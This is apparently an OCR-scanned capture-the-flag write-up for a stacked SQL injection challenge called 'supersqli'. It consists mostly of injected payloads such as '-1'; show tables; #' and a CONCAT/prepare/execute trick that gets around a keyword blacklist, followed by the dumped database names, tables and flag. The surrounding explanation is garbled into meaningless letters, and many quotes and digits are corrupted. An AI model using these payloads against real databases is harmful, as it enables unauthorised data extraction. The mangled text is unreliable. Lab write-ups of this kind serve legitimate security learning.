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?id=1 ;show database;
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2.show tables [from database namel; // BRI HEEDRIE R LR
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3.show columns from table name ; // BRRHIEZFK ,Mdesc tablename AH[FE
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prepare myfun from 'select * fromt_book where bid=?"
WEAR, Flin: set @str="b1"
WATIER), HlUn: execute myfun using @str

IMRFEBRPATMYfUN, WARABFEE P, WATEERRFEDT :

WEEE, #l: set @str="b2'
WATIEA], Bln: execute myfun using @str
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array(2) |
[0]=> o Tor1=1#
string(l) "1
[1]1=>
string(7) “hahahah”
}

array (2) {
[0l=>
string(1) "2”
[1]=>
string(12) “miaomiaomiao”

}

array(2) {
[ol=>
string(6) “114514”
[11=>
string(2) “ys”
}
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return preg_match(”/selec date|delete|drop|insert|where|\. /i”, $inject) ;
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array(1l) {
[(ol=>
string(11) “ctftraining”

}

array(1l) {
[ol=>
string (18) "information_schema”

}

array(l) {
[0l=>
string (5) “mysql”

}

array(l) {
[ol=
string (18) “performance schema”

}

array(l) {
[(ol=>
string(9) “supersqli”

}

array(1l) {
[ol=>
string(4) “test”

}
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-1'; show tables; #
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array (1) {
[o]=>
string(b) “flagg”

array(l) {
[o]=>

string(5) “words”
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array(6) {
[ol=>
string(4) “flag”
[11=>
string(12) “varchar (100)”
[2]1=>
string(2) “N0O”
[3]=>
string(0) "
[4]=>
NULL
[5]=>
string(0) 7"
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-1';set @sql = CONCAT('se','lect * from “flagg ;');prepare xxx from @sql;EXECUTE xxx;#
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-1';Set @sql = CONCAT('se','lect * from “flagg ;');Prepare xxx from @sql;EXECUTE xxx;#
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strstr($inject, ”Nstr(ﬁnject, “prepare”)

-1';set @sql = CONCAT('se','lect * from flagg’;");prepare xxx from @sql;EXECUTE xxx;#
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array (1) {
[ol=>
string (40) “BMZCTF{94993507b5d2474baf925fchIbf72£3f}”
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